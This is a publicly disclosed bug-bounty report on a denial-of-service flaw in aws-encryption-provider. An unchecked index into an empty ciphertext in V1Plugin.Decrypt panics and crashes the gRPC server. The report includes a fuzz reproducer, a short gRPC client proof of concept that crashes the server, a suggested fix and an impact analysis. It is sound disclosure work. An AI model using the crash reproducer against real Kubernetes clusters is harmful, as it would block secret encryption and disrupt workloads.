HexBrain

AWS VDP · Report #3620748

V1Plugin.Decrypt panics on empty ciphertext (Remote DoS)

Validstatus
mediumseverity
41upvotes
28 May 2026disclosed

How it was found

Component: pkg/plugin/plugin.go:179 Affected Version: aws-encryption-provider @ 4341c70 (all versions) Found by: Fuzz testing (FuzzV1Decrypt, seed#0: empty []byte{})


Summary

V1Plugin.Decrypt() accesses request.Cipher[0] without checking that the slice is non-empty. Sending a DecryptRequest with empty or nil Cipher field causes an unrecoverable index out of range panic that crashes the entire gRPC server process.


Vulnerable Code

// pkg/plugin/plugin.go:175-181
func (p *V1Plugin) Decrypt(ctx context.Context, request *pb.DecryptRequest) (*pb.DecryptResponse, error) {
    zap.L().Debug("starting decrypt operation")

    startTime := time.Now()
    if string(request.Cipher[0]) == kmsplugin.StorageVersion {  // <-- LINE 179: PANIC if len == 0
        request.Cipher = request.Cipher[1:]
    }

Root Cause

The storage version prefix check indexes into request.Cipher at position 0 without any bounds check. The gRPC protobuf layer deserializes the Cipher field as a []byte which can be empty ([]byte{}) or nil. No validation ensures len(request.Cipher) > 0 before the index access.

Reproducer

The fuzz harness FuzzV1Decrypt in pkg/plugin/fuzz_test.go triggers this immediately:

$ go test -fuzz FuzzV1Decrypt -fuzztime 10s ./pkg/plugin/
--- FAIL: FuzzV1Decrypt (0.00s)
    --- FAIL: FuzzV1Decrypt/seed#0 (0.00s)
panic: runtime error: index out of range [0] with length 0
    sigs.k8s.io/aws-encryption-provider/pkg/plugin.(*V1Plugin).Decrypt
        ████████

Minimal gRPC client reproducer:

conn, _ := grpc.Dial("unix:///var/run/kmsplugin/socket.sock", grpc.WithInsecure())
client := pb.NewKeyManagementServiceClient(conn)
// This crashes the server:
client.Decrypt(context.Background(), &pb.DecryptRequest{Cipher: []byte{}})

Suggested Fix

func (p *V1Plugin) Decrypt(ctx context.Context, request *pb.DecryptRequest) (*pb.DecryptResponse, error) {
    zap.L().Debug("starting decrypt operation")

    startTime := time.Now()
    if len(request.Cipher) == 0 {
        return nil, fmt.Errorf("invalid empty ciphertext")
    }
    if string(request.Cipher[0]) == kmsplugin.StorageVersion {
        request.Cipher = request.Cipher[1:]
    }

Platform

Tested on macOS arm64, Go 1.26.1. Bug is platform-independent (pure Go).

Impact

Impact

  • Server crash: The panic is unrecovered — it kills the entire aws-encryption-provider process
  • Kubernetes secret unavailability: While the pod restarts, kube-apiserver cannot encrypt/decrypt any Secrets at rest, blocking pod creation, configmap reads, service account token issuance
  • No authentication required: The gRPC server has no auth — any process with access to the Unix socket can trigger this
  • Trivially exploitable: Single gRPC call with empty ciphertext, no valid KMS credentials needed
  • Affects both nil and empty slices: Both Cipher: nil and Cipher: []byte{} trigger the panic

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original